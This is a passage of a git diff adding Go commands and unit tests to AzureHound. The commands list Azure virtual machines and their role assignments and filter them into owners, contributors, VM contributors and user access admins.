"github.com/bloodhoundad/azurehound/v2/constants" + "github.com/bloodhoundad/azurehound/v2/enums" + "github.com/bloodhoundad/azurehound/v2/models" + "github.com/bloodhoundad/azurehound/v2/models/azure" + "go.uber.org/mock/gomock" +) + +func init() { + setupLogger() +} + +func TestListVirtualMachineContributors(t *testing.T) { + ctrl := gomock.NewController(t) + defer ctrl.Finish() + ctx := context.Background() + + mockClient := mocks.NewMockAzureClient(ctrl) + + mockVMRoleAssignmentsChannel := make(chan azureWrapper[models.VirtualMachineRoleAssignments]) + mockTenant := azure.Tenant{} + mockClient.EXPECT().TenantInfo().Return(mockTenant).AnyTimes() + channel := listVirtualMachineContributors(ctx, mockVMRoleAssignmentsChannel) + + go func() { + defer close(mockVMRoleAssignmentsChannel) + + mockVMRoleAssignmentsChannel <- NewAzureWrapper( + enums.KindAZVMRoleAssignment, + models.VirtualMachineRoleAssignments{ + VirtualMachineId: "foo", + RoleAssignments: []models.VirtualMachineRoleAssignment{ + { + RoleAssignment: azure.RoleAssignment{ + Name: constants.ContributorRoleID, + Properties: azure.RoleAssignmentPropertiesWithScope{ + RoleDefinitionId: constants.ContributorRoleID, + }, + }, + }, + }, + }, + ) + }() + + if _, ok := <-channel; !ok { + t.Fatalf("failed to receive from channel") + } + + if _, ok := <-channel; ok { + t.Error("should not have recieved from channel") + } +} diff --git a/cmd/list-virtual-machine-owners.go b/cmd/list-virtual-machine-owners.go new file mode 100644 index 0000000..62edcf3 --- /dev/null +++ b/cmd/list-virtual-machine-owners.go @@ -0,0 +1,81 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package cmd + +import ( + "context" + "os" + "os/signal" + "time" + + "github.com/bloodhoundad/azurehound/v2/constants" + "github.com/bloodhoundad/azurehound/v2/enums" + "github.com/bloodhoundad/azurehound/v2/internal" + "github.com/bloodhoundad/azurehound/v2/models" + "github.com/bloodhoundad/azurehound/v2/panicrecovery" + "github.com/bloodhoundad/azurehound/v2/pipeline" + "github.com/spf13/cobra" +) + +func init() { + listRootCmd.AddCommand(listVirtualMachineOwnersCmd) +} + +var listVirtualMachineOwnersCmd = &cobra.Command{ + Use: "virtual-machine-owners", + Long: "Lists Azure Virtual Machine Owners", + Run: listVirtualMachineOwnersCmdImpl, + SilenceUsage: true, +} + +func listVirtualMachineOwnersCmdImpl(cmd *cobra.Command, args []string) { + ctx, stop := signal.NotifyContext(cmd.Context(), os.Interrupt, os.Kill) + defer gracefulShutdown(stop) + + log.V(1).Info("testing connections") + azClient := connectAndCreateClient() + log.Info("collecting azure virtual machine owners...") + start := time.Now() + subscriptions := listSubscriptions(ctx, azClient) + vms := listVirtualMachines(ctx, azClient, subscriptions) + vmRoleAssignments := listVirtualMachineRoleAssignments(ctx, azClient, vms) + panicrecovery.HandleBubbledPanic(ctx, stop, log) + stream := listVirtualMachineOwners(ctx, vmRoleAssignments) + outputStream(ctx, stream) + duration := time.Since(start) + log.Info("collection completed", "duration", duration.String()) +} + +func listVirtualMachineOwners( + ctx context.Context, + roleAssignments <-chan azureWrapper[models.VirtualMachineRoleAssignments], +) <-chan any { + return pipeline.Map(ctx.Done(), roleAssignments, func(ra azureWrapper[models.VirtualMachineRoleAssignments]) any { + filteredAssignments := internal.Filter(ra.Data.RoleAssignments, vmRoleAssignmentFilter(constants.OwnerRoleID)) + owners := internal.Map(filteredAssignments, func(ra models.VirtualMachineRoleAssignment) models.VirtualMachineOwner { + return models.VirtualMachineOwner{ + VirtualMachineId: ra.VirtualMachineId, + Owner: ra.RoleAssignment, + } + }) + return NewAzureWrapper(enums.KindAZVMOwner, models.VirtualMachineOwners{ + VirtualMachineId: ra.Data.VirtualMachineId, + Owners: owners, + }) + }) +} diff --git a/cmd/list-virtual-machine-owners_test.go b/cmd/list-virtual-machine-owners_test.go new file mode 100644 index 0000000..d4a403e --- /dev/null +++ b/cmd/list-virtual-machine-owners_test.go @@ -0,0 +1,76 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package cmd + +import ( + "context" + "testing" + + "github.com/bloodhoundad/azurehound/v2/client/mocks" + "github.com/bloodhoundad/azurehound/v2/constants" + "github.com/bloodhoundad/azurehound/v2/enums" + "github.com/bloodhoundad/azurehound/v2/models" + "github.com/bloodhoundad/azurehound/v2/models/azure" + "go.uber.org/mock/gomock" +) + +func init() { + setupLogger() +} + +func TestListVirtualMachineOwners(t *testing.T) { + ctrl := gomock.NewController(t) + defer ctrl.Finish() + ctx := context.Background() + + mockClient := mocks.NewMockAzureClient(ctrl) + + mockVMRoleAssignmentsChannel := make(chan azureWrapper[models.VirtualMachineRoleAssignments]) + mockTenant := azure.Tenant{} + mockClient.EXPECT().TenantInfo().Return(mockTenant).AnyTimes() + channel := listVirtualMachineOwners(ctx, mockVMRoleAssignmentsChannel) + + go func() { + defer close(mockVMRoleAssignmentsChannel) + + mockVMRoleAssignmentsChannel <- NewAzureWrapper( + enums.KindAZVMRoleAssignment, + models.VirtualMachineRoleAssignments{ + VirtualMachineId: "foo", + RoleAssignments: []models.VirtualMachineRoleAssignment{ + { + RoleAssignment: azure.RoleAssignment{ + Name: constants.OwnerRoleID, + Properties: azure.RoleAssignmentPropertiesWithScope{ + RoleDefinitionId: constants.OwnerRoleID, + }, + }, + }, + }, + }, + ) + }() + + if _, ok := <-channel; !ok { + t.Fatalf("failed to receive from channel") + } + + if _, ok := <-channel; ok { + t.Error("should not have recieved from channel") + } +} diff --git a/cmd/list-virtual-machine-role-assignments.go b/cmd/list-virtual-machine-role-assignments.go new file mode 100644 index 0000000..1057283 --- /dev/null +++ b/cmd/list-virtual-machine-role-assignments.go @@ -0,0 +1,129 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package cmd + +import ( + "context" + "fmt" + "os" + "os/signal" + "sync" + "time" + + "github.com/bloodhoundad/azurehound/v2/client" + "github.com/bloodhoundad/azurehound/v2/config" + "github.com/bloodhoundad/azurehound/v2/enums" + "github.com/bloodhoundad/azurehound/v2/models" + "github.com/bloodhoundad/azurehound/v2/panicrecovery" + "github.com/bloodhoundad/azurehound/v2/pipeline" + "github.com/spf13/cobra" +) + +func init() { + listRootCmd.AddCommand(listVirtualMachineRoleAssignmentsCmd) +} + +var listVirtualMachineRoleAssignmentsCmd = &cobra.Command{ + Use: "virtual-machine-role-assignments", + Long: "Lists Virtual Machine Role Assignments", + Run: listVirtualMachineRoleAssignmentsCmdImpl, + SilenceUsage: true, +} + +func listVirtualMachineRoleAssignmentsCmdImpl(cmd *cobra.Command, args []string) { + ctx, stop := signal.NotifyContext(cmd.Context(), os.Interrupt, os.Kill) + defer gracefulShutdown(stop) + + log.V(1).Info("testing connections") + azClient := connectAndCreateClient() + log.Info("collecting azure virtual machine role assignments...") + start := time.Now() + subscriptions := listSubscriptions(ctx, azClient) + stream := listVirtualMachineRoleAssignments(ctx, azClient, listVirtualMachines(ctx, azClient, subscriptions)) + panicrecovery.HandleBubbledPanic(ctx, stop, log) + outputStream(ctx, stream) + duration := time.Since(start) + log.Info("collection completed", "duration", duration.String()) +} + +func listVirtualMachineRoleAssignments(ctx context.Context, client client.AzureClient, virtualMachines <-chan interface{}) <-chan azureWrapper[models.VirtualMachineRoleAssignments] { + var ( + out = make(chan azureWrapper[models.VirtualMachineRoleAssignments]) + ids = make(chan string) + streams = pipeline.Demux(ctx.Done(), ids, config.ColStreamCount.Value().(int)) + wg sync.WaitGroup + ) + + go func() { + defer panicrecovery.PanicRecovery() + defer close(ids) + + for result := range pipeline.OrDone(ctx.Done(), virtualMachines) { + if virtualMachine, ok := result.(AzureWrapper).Data.(models.VirtualMachine); !ok { + log.Error(fmt.Errorf("failed type assertion"), "unable to continue enumerating virtual machine role assignments", "result", result) + return + } else { + if ok := pipeline.Send(ctx.Done(), ids, virtualMachine.Id); !ok { + return + } + } + } + }() + + wg.Add(len(streams)) + for i := range streams { + stream := streams[i] + go func() { + defer panicrecovery.PanicRecovery() + defer wg.Done() + for id := range stream { + var ( + virtualMachineRoleAssignments = models.VirtualMachineRoleAssignments{ + VirtualMachineId: id, + } + count = 0 + ) + for item := range client.ListRoleAssignmentsForResource(ctx, id, "", "") { + if item.Error != nil { + log.Error(item.Error, "unable to continue processing role assignments for this virtual machine", "virtualMachineId", id) + } else { + virtualMachineRoleAssignment := models.VirtualMachineRoleAssignment{ + VirtualMachineId: id, + RoleAssignment: item.Ok, + } + log.V(2).Info("found virtual machine role assignment", "virtualMachineRoleAssignment", virtualMachineRoleAssignment) + count++ + virtualMachineRoleAssignments.RoleAssignments = append(virtualMachineRoleAssignments.RoleAssignments, virtualMachineRoleAssignment) + } + } + if ok := pipeline.Send(ctx.Done(), out, NewAzureWrapper(enums.KindAZVMRoleAssignment, virtualMachineRoleAssignments)); !ok { + return + } + log.V(1).Info("finished listing virtual machine role assignments", "virtualMachineId", id, "count", count) + } + }() + } + + go func() { + wg.Wait() + close(out) + log.Info("finished listing all virtual machine role assignments") + }() + + return out +} diff --git a/cmd/list-virtual-machine-role-assignments_test.go b/cmd/list-virtual-machine-role-assignments_test.go new file mode 100644 index 0000000..efd5112 --- /dev/null +++ b/cmd/list-virtual-machine-role-assignments_test.go @@ -0,0 +1,106 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package cmd + +import ( + "context" + "fmt" + "testing" + + "github.com/bloodhoundad/azurehound/v2/client" + "github.com/bloodhoundad/azurehound/v2/client/mocks" + "github.com/bloodhoundad/azurehound/v2/constants" + "github.com/bloodhoundad/azurehound/v2/models" + "github.com/bloodhoundad/azurehound/v2/models/azure" + "go.uber.org/mock/gomock" +) + +func init() { + setupLogger() +} + +func TestListVirtualMachineRoleAssignments(t *testing.T) { + ctrl := gomock.NewController(t) + defer ctrl.Finish() + ctx := context.Background() + + mockClient := mocks.NewMockAzureClient(ctrl) + + mockVirtualMachinesChannel := make(chan interface{}) + mockVirtualMachineRoleAssignmentChannel := make(chan client.AzureResult[azure.RoleAssignment]) + mockVirtualMachineRoleAssignmentChannel2 := make(chan client.AzureResult[azure.RoleAssignment]) + + mockTenant := azure.Tenant{} + mockError := fmt.Errorf("I'm an error") + mockClient.EXPECT().TenantInfo().Return(mockTenant).AnyTimes() + mockClient.EXPECT().ListRoleAssignmentsForResource(gomock.Any(), gomock.Any(), gomock.Any(), gomock.Any()).Return(mockVirtualMachineRoleAssignmentChannel).Times(1) + mockClient.EXPECT().ListRoleAssignmentsForResource(gomock.Any(), gomock.Any(), gomock.Any(), gomock.Any()).Return(mockVirtualMachineRoleAssignmentChannel2).Times(1) + channel := listVirtualMachineRoleAssignments(ctx, mockClient, mockVirtualMachinesChannel) + + go func() { + defer close(mockVirtualMachinesChannel) + mockVirtualMachinesChannel <- AzureWrapper{ + Data: models.VirtualMachine{}, + } + mockVirtualMachinesChannel <- AzureWrapper{ + Data: models.VirtualMachine{}, + } + }() + go func() { + defer close(mockVirtualMachineRoleAssignmentChannel) + mockVirtualMachineRoleAssignmentChannel <- client.AzureResult[azure.RoleAssignment]{ + Ok: azure.RoleAssignment{ + Properties: azure.RoleAssignmentPropertiesWithScope{ + RoleDefinitionId: constants.VirtualMachineContributorRoleID, + }, + }, + } + mockVirtualMachineRoleAssignmentChannel <- client.AzureResult[azure.RoleAssignment]{ + Ok: azure.RoleAssignment{ + Properties: azure.RoleAssignmentPropertiesWithScope{ + RoleDefinitionId: constants.AvereContributorRoleID, + }, + }, + } + }() + go func() { + defer close(mockVirtualMachineRoleAssignmentChannel2) + mockVirtualMachineRoleAssignmentChannel2 <- client.AzureResult[azure.RoleAssignment]{ + Ok: azure.RoleAssignment{ + Properties: azure.RoleAssignmentPropertiesWithScope{ + RoleDefinitionId: constants.VirtualMachineAdministratorLoginRoleID, + }, + }, + } + mockVirtualMachineRoleAssignmentChannel2 <- client.AzureResult[azure.RoleAssignment]{ + Error: mockError, + } + }() + + if result, ok := <-channel; !ok { + t.Fatalf("failed to receive from channel") + } else if len(result.Data.RoleAssignments) != 2 { + t.Errorf("got %v, want %v", len(result.Data.RoleAssignments), 2) + } + + if result, ok := <-channel; !ok { + t.Fatalf("failed to receive from channel") + } else if len(result.Data.RoleAssignments) != 1 { + t.Errorf("got %v, want %v", len(result.Data.RoleAssignments), 2) + } +} diff --git a/cmd/list-virtual-machine-user-access-admins.go b/cmd/list-virtual-machine-user-access-admins.go new file mode 100644 index 0000000..7b37c59 --- /dev/null +++ b/cmd/list-virtual-machine-user-access-admins.go @@ -0,0 +1,81 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package cmd + +import ( + "context" + "os" + "os/signal" + "time" + + "github.com/bloodhoundad/azurehound/v2/constants" + "github.com/bloodhoundad/azurehound/v2/enums" + "github.com/bloodhoundad/azurehound/v2/internal" + "github.com/bloodhoundad/azurehound/v2/models" + "github.com/bloodhoundad/azurehound/v2/panicrecovery" + "github.com/bloodhoundad/azurehound/v2/pipeline" + "github.com/spf13/cobra" +) + +func init() { + listRootCmd.AddCommand(listVirtualMachineUserAccessAdminsCmd) +} + +var listVirtualMachineUserAccessAdminsCmd = &cobra.Command{ + Use: "virtual-machine-user-access-admins", + Long: "Lists Azure Virtual Machine User Access Admins", + Run: listVirtualMachineUserAccessAdminsCmdImpl, + SilenceUsage: true, +} + +func listVirtualMachineUserAccessAdminsCmdImpl(cmd *cobra.Command, args []string) { + ctx, stop := signal.NotifyContext(cmd.Context(), os.Interrupt, os.Kill) + defer gracefulShutdown(stop) + + log.V(1).Info("testing connections") + azClient := connectAndCreateClient() + log.Info("collecting azure virtual machine user access admins...") + start := time.Now() + subscriptions := listSubscriptions(ctx, azClient) + vms := listVirtualMachines(ctx, azClient, subscriptions) + vmRoleAssignments := listVirtualMachineRoleAssignments(ctx, azClient, vms) + panicrecovery.HandleBubbledPanic(ctx, stop, log) + stream := listVirtualMachineUserAccessAdmins(ctx, vmRoleAssignments) + outputStream(ctx, stream) + duration := time.Since(start) + log.Info("collection completed", "duration", duration.String()) +} + +func listVirtualMachineUserAccessAdmins( + ctx context.Context, + roleAssignments <-chan azureWrapper[models.VirtualMachineRoleAssignments], +) <-chan any { + return pipeline.Map(ctx.Done(), roleAssignments, func(ra azureWrapper[models.VirtualMachineRoleAssignments]) any { + filteredAssignments := internal.Filter(ra.Data.RoleAssignments, vmRoleAssignmentFilter(constants.UserAccessAdminRoleID)) + uaas := internal.Map(filteredAssignments, func(ra models.VirtualMachineRoleAssignment) models.VirtualMachineUserAccessAdmin { + return models.VirtualMachineUserAccessAdmin{ + VirtualMachineId: ra.VirtualMachineId, + UserAccessAdmin: ra.RoleAssignment, + } + }) + return NewAzureWrapper(enums.KindAZVMUserAccessAdmin, models.VirtualMachineUserAccessAdmins{ + VirtualMachineId: ra.Data.VirtualMachineId, + UserAccessAdmins: uaas, + }) + }) +} diff --git a/cmd/list-virtual-machine-user-access-admins_test.go b/cmd/list-virtual-machine-user-access-admins_test.go new file mode 100644 index 0000000..8dd7ff2 --- /dev/null +++ b/cmd/list-virtual-machine-user-access-admins_test.go @@ -0,0 +1,76 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package cmd + +import ( + "context" + "testing" + + "github.com/bloodhoundad/azurehound/v2/client/mocks" + "github.com/bloodhoundad/azurehound/v2/constants" + "github.com/bloodhoundad/azurehound/v2/enums" + "github.com/bloodhoundad/azurehound/v2/models" + "github.com/bloodhoundad/azurehound/v2/models/azure" + "go.uber.org/mock/gomock" +) + +func init() { + setupLogger() +} + +func TestListVirtualMachineUserAccessAdmins(t *testing.T) { + ctrl := gomock.NewController(t) + defer ctrl.Finish() + ctx := context.Background() + + mockClient := mocks.NewMockAzureClient(ctrl) + + mockVMRoleAssignmentsChannel := make(chan azureWrapper[models.VirtualMachineRoleAssignments]) + mockTenant := azure.Tenant{} + mockClient.EXPECT().TenantInfo().Return(mockTenant).AnyTimes() + channel := listVirtualMachineUserAccessAdmins(ctx, mockVMRoleAssignmentsChannel) + + go func() { + defer close(mockVMRoleAssignmentsChannel) + + mockVMRoleAssignmentsChannel <- NewAzureWrapper( + enums.KindAZVMRoleAssignment, + models.VirtualMachineRoleAssignments{ + VirtualMachineId: "foo", + RoleAssignments: []models.VirtualMachineRoleAssignment{ + { + RoleAssignment: azure.RoleAssignment{ + Name: constants.UserAccessAdminRoleID, + Properties: azure.RoleAssignmentPropertiesWithScope{ + RoleDefinitionId: constants.UserAccessAdminRoleID, + }, + }, + }, + }, + }, + ) + }() + + if _, ok := <-channel; !ok { + t.Fatalf("failed to receive from channel") + } + + if _, ok := <-channel; ok { + t.Error("should not have recieved from channel") + } +} diff --git a/cmd/list-virtual-machine-vmcontributors.go b/cmd/list-virtual-machine-vmcontributors.go new file mode 100644 index 0000000..b89e04f --- /dev/null +++ b/cmd/list-virtual-machine-vmcontributors.go @@ -0,0 +1,81 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package cmd + +import ( + "context" + "os" + "os/signal" + "time" + + "github.com/bloodhoundad/azurehound/v2/constants" + "github.com/bloodhoundad/azurehound/v2/enums" + "github.com/bloodhoundad/azurehound/v2/internal" + "github.com/bloodhoundad/azurehound/v2/models" + "github.com/bloodhoundad/azurehound/v2/panicrecovery" + "github.com/bloodhoundad/azurehound/v2/pipeline" + "github.com/spf13/cobra" +) + +func init() { + listRootCmd.AddCommand(listVirtualMachineVMContributorsCmd) +} + +var listVirtualMachineVMContributorsCmd = &cobra.Command{ + Use: "virtual-machine-vmcontributors", + Long: "Lists Azure Virtual Machine VMContributors", + Run: listVirtualMachineVMContributorsCmdImpl, + SilenceUsage: true, +} + +func listVirtualMachineVMContributorsCmdImpl(cmd *cobra.Command, args []string) { + ctx, stop := signal.NotifyContext(cmd.Context(), os.Interrupt, os.Kill) + defer gracefulShutdown(stop) + + log.V(1).Info("testing connections") + azClient := connectAndCreateClient() + log.Info("collecting azure virtual machine vmcontributors...") + start := time.Now() + subscriptions := listSubscriptions(ctx, azClient) + vms := listVirtualMachines(ctx, azClient, subscriptions) + vmRoleAssignments := listVirtualMachineRoleAssignments(ctx, azClient, vms) + panicrecovery.HandleBubbledPanic(ctx, stop, log) + stream := listVirtualMachineVMContributors(ctx, vmRoleAssignments) + outputStream(ctx, stream) + duration := time.Since(start) + log.Info("collection completed", "duration", duration.String()) +} + +func listVirtualMachineVMContributors( + ctx context.Context, + roleAssignments <-chan azureWrapper[models.VirtualMachineRoleAssignments], +) <-chan any { + return pipeline.Map(ctx.Done(), roleAssignments, func(ra azureWrapper[models.VirtualMachineRoleAssignments]) any { + filteredAssignments := internal.Filter(ra.Data.RoleAssignments, vmRoleAssignmentFilter(constants.VirtualMachineContributorRoleID)) + vmContributors := internal.Map(filteredAssignments, func(ra models.VirtualMachineRoleAssignment) models.VirtualMachineVMContributor { + return models.VirtualMachineVMContributor{ + VirtualMachineId: ra.VirtualMachineId, + VMContributor: ra.RoleAssignment, + } + }) + return NewAzureWrapper(enums.KindAZVMVMContributor, models.VirtualMachineVMContributors{ + VirtualMachineId: ra.Data.VirtualMachineId, + VMContributors: vmContributors, + }) + }) +} diff --git a/cmd/list-virtual-machine-vmcontributors_test.go b/cmd/list-virtual-machine-vmcontributors_test.go new file mode 100644 index 0000000..8075d29 --- /dev/null +++ b/cmd/list-virtual-machine-vmcontributors_test.go @@ -0,0 +1,76 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package cmd + +import ( + "context" + "testing" + + "github.com/bloodhoundad/azurehound/v2/client/mocks" + "github.com/bloodhoundad/azurehound/v2/constants" + "github.com/bloodhoundad/azurehound/v2/enums" + "github.com/bloodhoundad/azurehound/v2/models" + "github.com/bloodhoundad/azurehound/v2/models/azure" + "go.uber.org/mock/gomock" +) + +func init() { + setupLogger() +} + +func TestListVirtualMachineVMContributors(t *testing.T) { + ctrl := gomock.NewController(t) + defer ctrl.Finish() + ctx := context.Background() + + mockClient := mocks.NewMockAzureClient(ctrl) + + mockVMRoleAssignmentsChannel := make(chan azureWrapper[models.VirtualMachineRoleAssignments]) + mockTenant := azure.Tenant{} + mockClient.EXPECT().TenantInfo().Return(mockTenant).AnyTimes() + channel := listVirtualMachineVMContributors(ctx, mockVMRoleAssignmentsChannel) + + go func() { + defer close(mockVMRoleAssignmentsChannel) + + mockVMRoleAssignmentsChannel <- NewAzureWrapper( + enums.KindAZVMRoleAssignment, + models.VirtualMachineRoleAssignments{ + VirtualMachineId: "foo", + RoleAssignments: []models.VirtualMachineRoleAssignment{ + { + RoleAssignment: azure.RoleAssignment{ + Name: constants.VirtualMachineContributorRoleID, + Properties: azure.RoleAssignmentPropertiesWithScope{ + RoleDefinitionId: constants.VirtualMachineContributorRoleID, + }, + }, + }, + }, + }, + ) + }() + + if _, ok := <-channel; !ok { + t.Fatalf("failed to receive from channel") + } + + if _, ok := <-channel; ok { + t.Error("should not have recieved from channel") + } +} diff --git a/cmd/list-virtual-machines.go b/cmd/list-virtual-machines.go new file mode 100644 index 0000000..c0cc6ef --- /dev/null +++ b/cmd/list-virtual-machines.go @@ -0,0 +1,127 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package cmd + +import ( + "context" + "fmt" + "os" + "os/signal" + "sync" + "time" + + "github.com/bloodhoundad/azurehound/v2/client" + "github.com/bloodhoundad/azurehound/v2/client/query" + "github.com/bloodhoundad/azurehound/v2/config" + "github.com/bloodhoundad/azurehound/v2/enums" + "github.com/bloodhoundad/azurehound/v2/models" + "github.com/bloodhoundad/azurehound/v2/panicrecovery" + "github.com/bloodhoundad/azurehound/v2/pipeline" + "github.com/spf13/cobra" +) + +func init() { + listRootCmd.AddCommand(listVirtualMachinesCmd) +} + +var listVirtualMachinesCmd = &cobra.Command{ + Use: "virtual-machines", + Long: "Lists Azure Virtual Machines", + Run: listVirtualMachinesCmdImpl, + SilenceUsage: true, +} + +func listVirtualMachinesCmdImpl(cmd *cobra.Command, args []string) { + ctx, stop := signal.NotifyContext(cmd.Context(), os.Interrupt, os.Kill) + defer gracefulShutdown(stop) + + log.V(1).Info("testing connections") + azClient := connectAndCreateClient() + log.Info("collecting azure virtual machines...") + start := time.Now() + stream := listVirtualMachines(ctx, azClient, listSubscriptions(ctx, azClient)) + panicrecovery.HandleBubbledPanic(ctx, stop, log) + outputStream(ctx, stream) + duration := time.Since(start) + log.Info("collection completed", "duration", duration.String()) +} + +func listVirtualMachines(ctx context.Context, client client.AzureClient, subscriptions <-chan interface{}) <-chan interface{} { + var ( + out = make(chan interface{}) + ids = make(chan string) + streams = pipeline.Demux(ctx.Done(), ids, config.ColStreamCount.Value().(int)) + wg sync.WaitGroup + ) + + go func() { + defer panicrecovery.PanicRecovery() + defer close(ids) + for result := range pipeline.OrDone(ctx.Done(), subscriptions) { + if subscription, ok := result.(AzureWrapper).Data.(models.Subscription); !ok { + log.Error(fmt.Errorf("failed type assertion"), "unable to continue enumerating virtual machines", "result", result) + return + } else { + if ok := pipeline.Send(ctx.Done(), ids, subscription.SubscriptionId); !ok { + return + } + } + } + }() + + wg.Add(len(streams)) + for i := range streams { + stream := streams[i] + go func() { + defer panicrecovery.PanicRecovery() + defer wg.Done() + for id := range stream { + count := 0 + for item := range client.ListAzureVirtualMachines(ctx, id, query.RMParams{}) { + if item.Error != nil { + log.Error(item.Error, "unable to continue processing virtual machines for this subscription", "subscriptionId", id) + } else { + virtualMachine := models.VirtualMachine{ + VirtualMachine: item.Ok, + SubscriptionId: "/subscriptions/" + id, + ResourceGroupId: item.Ok.ResourceGroupId(), + TenantId: client.TenantInfo().TenantId, + } + log.V(2).Info("found virtual machine", "virtualMachine", virtualMachine) + count++ + if ok := pipeline.SendAny(ctx.Done(), out, AzureWrapper{ + Kind: enums.KindAZVM, + Data: virtualMachine, + }); !ok { + return + } + } + } + log.V(1).Info("finished listing virtual machines", "subscriptionId", id, "count", count) + } + }() + } + + go func() { + wg.Wait() + close(out) + log.Info("finished listing all virtual machines") + }() + + return out +} diff --git a/cmd/list-virtual-machines_test.go b/cmd/list-virtual-machines_test.go new file mode 100644 index 0000000..b955d84 --- /dev/null +++ b/cmd/list-virtual-machines_test.go @@ -0,0 +1,109 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package cmd + +import ( + "context" + "fmt" + "testing" + + "github.com/bloodhoundad/azurehound/v2/client" + "github.com/bloodhoundad/azurehound/v2/client/mocks" + "github.com/bloodhoundad/azurehound/v2/models" + "github.com/bloodhoundad/azurehound/v2/models/azure" + "go.uber.org/mock/gomock" +) + +func init() { + setupLogger() +} + +func TestListVirtualMachines(t *testing.T) { + ctrl := gomock.NewController(t) + defer ctrl.Finish() + ctx := context.Background() + + mockClient := mocks.NewMockAzureClient(ctrl) + + mockSubscriptionsChannel := make(chan interface{}) + mockVirtualMachineChannel := make(chan client.AzureResult[azure.VirtualMachine]) + mockVirtualMachineChannel2 := make(chan client.AzureResult[azure.VirtualMachine]) + + mockTenant := azure.Tenant{} + mockError := fmt.Errorf("I'm an error") + mockClient.EXPECT().TenantInfo().Return(mockTenant).AnyTimes() + mockClient.EXPECT().ListAzureVirtualMachines(gomock.Any(), gomock.Any(), gomock.Any()).Return(mockVirtualMachineChannel).Times(1) + mockClient.EXPECT().ListAzureVirtualMachines(gomock.Any(), gomock.Any(), gomock.Any()).Return(mockVirtualMachineChannel2).Times(1) + channel := listVirtualMachines(ctx, mockClient, 